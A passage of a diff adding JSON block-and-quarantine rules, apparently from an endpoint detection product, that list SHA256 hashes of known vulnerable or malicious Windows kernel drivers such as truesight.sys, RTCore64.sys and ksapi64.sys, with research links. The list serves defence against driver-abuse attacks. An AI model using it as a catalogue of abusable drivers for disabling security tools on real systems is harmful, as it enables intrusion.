+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.158780Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "4808b39a5d295c1fb4c10e89f3bfc53f5e049dd1f8933a2e48364036c74214ce",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c4a3ea73-55ee-5f20-bbeb-d0c43f35f065",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.814660Z",
+  "creation_date": "2026-03-23T11:45:31.814663Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.814673Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dd72ff8039a551994b1af86b9cf29cd33a2e262fe87c365462f54b7e5c1e9857",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c4b6a361-f204-528f-b31e-22bd040ac7c7",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.616450Z",
+  "creation_date": "2026-03-23T11:45:29.616454Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.616460Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c2fcc0fec64d5647813b84b9049d430406c4c6a7b9f8b725da21bcae2ff12247",
+  "comment": "American Megatrends vulnerable BIOS flash tool (aka UCOREW64.SYS and amifldrv64.sys) [https://www.loldrivers.io/drivers/a338a9fc-9fe3-400c-9fe4-69bb7892602d/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c4c03d63-fe09-556c-99b6-ad0889a033f0",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.147024Z",
+  "creation_date": "2026-03-23T11:45:31.147026Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.147031Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d0ac54d01c70483d5093a814ed0d6bb92e0b4535559d05f98bce2a23275f209f",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c4c4dc37-dcd7-5c10-9016-d008dc180e36",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.154804Z",
+  "creation_date": "2026-03-23T11:45:31.154806Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.154811Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c3a16a8d1a4656fb6e19d64b01b7c3e31e9b22124c4e284521453550b331ea4d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c4d594d1-93c3-5b9a-b626-fe2514c9fc80",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.983543Z",
+  "creation_date": "2026-03-23T11:45:29.983545Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.983551Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "dbfc90fa2c5dc57899cc75ccb9dc7b102cb4556509cdfecde75b36f602d7da66",
+  "comment": "Vulnerable Kernel Driver (aka cpupress.sys) [https://www.loldrivers.io/drivers/c0645f0f-9b97-4fe9-811e-2e45c250c9ef/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c4da3998-0082-5a8e-b401-9c753aeb18ba",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.827031Z",
+  "creation_date": "2026-03-23T11:45:31.827033Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.827038Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "ddbd168305b26912de8728c44e8196a1c92c3930fd9871161dbffe6573029747",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c4f511fe-667a-5c2f-a6d5-ff87de3fb959",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458809Z",
+  "creation_date": "2026-03-23T11:45:30.458822Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458831Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "5173b9240e9bcd0d9b25290bb0aa45d156fd5a0080841515ab44f61e0e6bd894",
+  "comment": "Vulnerable Kernel Driver (aka nscm.sys) [https://www.loldrivers.io/drivers/351ff5ca-f07b-4eb6-9300-d5d31514defb/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c50163d2-aeaf-5c08-999d-d70c7dad9ab6",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.494437Z",
+  "creation_date": "2026-03-23T11:45:31.494440Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.494446Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "88574aee96270d0d883f9dc11ee5682209640e18f8fea72fa176b9ab6a8f28ba",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c5019506-076a-5d49-ad69-e5ce01e386b8",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829752Z",
+  "creation_date": "2026-03-23T11:45:30.829754Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829760Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "71b7b595246923bfbd1adcc9f22988c3793a99a9adc6afe435604074c57c6d3d",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c50ae9d1-bac1-5d26-a51a-9dc32138e6b2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.829289Z",
+  "creation_date": "2026-03-23T11:45:30.829291Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.829297Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "fe78f1d6affe100c7726b86096c409d4b6d2ca3ce71ceae43d2aabf174f55ab2",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c50b3386-4275-5ced-92c6-e8bf0cbc54d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.813400Z",
+  "creation_date": "2026-03-23T11:45:31.813403Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.813411Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "e420caccc500b07462e1fef97a2fa67ca2d10ec8c6a2f6fd6917dcc988b15dde",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c50b50fd-3709-503d-aa22-d02ff92c3e3b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.141219Z",
+  "creation_date": "2026-03-23T11:45:31.141221Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.141226Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "1d8509e82d8506f12b9f8cf6916eb58e15d92b0efb2f300bf5188c4ea354f28a",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c50fad14-e67b-5d5d-97e5-927940c67342",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.146008Z",
+  "creation_date": "2026-03-23T11:45:32.146011Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.146016Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "d342b077ec4b0fd3ced62d1e91911ac274c708e4ee513f52ec8f2cdd99d851f3",
+  "comment": "Malicious Kernel Driver (aka driver_0a636606.sys) [https://www.loldrivers.io/drivers/82087b26-b649-4ad1-a353-3a225c757ff7/] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c511daa9-7ab4-501a-9914-52f5c4f344ef",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.607417Z",
+  "creation_date": "2026-03-23T11:45:29.607419Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.607424Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "03e0581432f5c8cc727a8aa387f5b69ff84d38d0df6f1226c19c6e960a81e1e9",
+  "comment": "Micro-Star MSI Afterburner vulnerable driver (aka RTCore32.sys and RTCore64.sys) [CVE-2019-16098] [https://www.loldrivers.io/drivers/275c80c5-a67c-4536-b29e-4e481242cb01/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c517633c-9f86-536a-b5f5-d981528d275a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:32.142632Z",
+  "creation_date": "2026-03-23T11:45:32.142634Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:32.142640Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "26ed45461e62d733f33671bfd0724399d866ee7606f3f112c90896ce8355392e",
+  "comment": "KingSoft Antivirus Security System Driver (aka ksapi64.sys and ksapi64_del.sys) [https://github.com/BlackSnufkin/BYOVD/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c5257184-85e1-5c3e-8e45-fd0bde106e11",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.480638Z",
+  "creation_date": "2026-03-23T11:45:30.480645Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.480656Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "cd5bff03256b98922b47a2725128540953a0ac15bd2be204196917d0c707a9cb",
+  "comment": "Vulnerable Kernel Driver (aka PDFWKRNL.sys) [https://blogs.vmware.com/security/2023/10/hunting-vulnerable-kernel-drivers.html] [authentihash SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c525aa61-ce66-55aa-939c-6df7c4443545",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.811417Z",
+  "creation_date": "2026-03-23T11:45:31.811419Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.811425Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "071b0aa6f5eafe164f0642cf7cbb2ca27f890ce5210133efa2fd2e5c3ec60c88",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c52d3080-6a79-5c30-8c36-b7f1ed4ea1cd",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.836415Z",
+  "creation_date": "2026-03-23T11:45:30.836417Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.836423Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "c22480fd746fd8fcd2fb1cc8bcd599759805be1b50e1ff0acefdb6395f1659ab",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c52f0d3f-fb35-59a4-9d25-0a7505ebd61b",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.150036Z",
+  "creation_date": "2026-03-23T11:45:31.150038Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.150043Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "59e264faab9e0716c5ebcdc8feb361f9f82a616840f6149fb7591949b697c4cf",
+  "comment": "Vulnerable Adlice Software Truesight/RogueKiller (v2.0.2) AntiMalware Driver (aka truesight.sys) [https://research.checkpoint.com/2025/large-scale-exploitation-of-legacy-driver/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c530da92-e1bf-5f7b-a67c-1896379e8746",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:29.619700Z",
+  "creation_date": "2026-03-23T11:45:29.619702Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:29.619707Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "326b53365f8486c78608139cac84619eff90be361f7ade9db70f9867dd94dcc9",
+  "comment": "Super Micro Computer dangerous update tool (aka superbmc.sys) [https://www.loldrivers.io/drivers/9074a02a-b1ca-4bfb-8918-5b88e91c04a2/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c53438da-046e-5ee7-9044-5eaba2d518d3",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:30.458927Z",
+  "creation_date": "2026-03-23T11:45:30.458930Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:30.458939Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "71701c5c569ef67391c995a12b21ca06935b7799ed211d978f7877115c58dce0",
+  "comment": "Vulnerable Kernel Driver (aka netfilter2.sys) [https://www.loldrivers.io/drivers/5ad8a3b6-6d20-4c95-8fa7-9a507167ba3c/] [file SHA256]",
+  "source": "af44d792-eb22-4e3f-88d2-9d1584001389"
+}
+{
+  "id": "c53cc170-7ff5-50a0-b1ae-8c7fee6ee915",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "quarantine",
+  "effective_state": "quarantine",
+  "rule_effective_level": "critical",
+  "rule_effective_confidence": "moderate",
+  "source_id": "af44d792-eb22-4e3f-88d2-9d1584001389",
+  "rule_level_overridden": false,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:31.476499Z",
+  "creation_date": "2026-03-23T11:45:31.476503Z",
+  "enabled": true,
+  "block_on_agent": true,
+  "quarantine_on_agent": true,
+  "endpoint_detection": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:31.476513Z",
+  "rule_level": null,
+  "rule_level_override": null,
+  "rule_confidence": null,
+  "rule_confidence_override": null,
+  "references": [],
+  "type": "hash",
+  "value": "037701c562e9c44897b9e37b2e5cb4f16b5420e1bc17ffc2d4d53f314400275e",
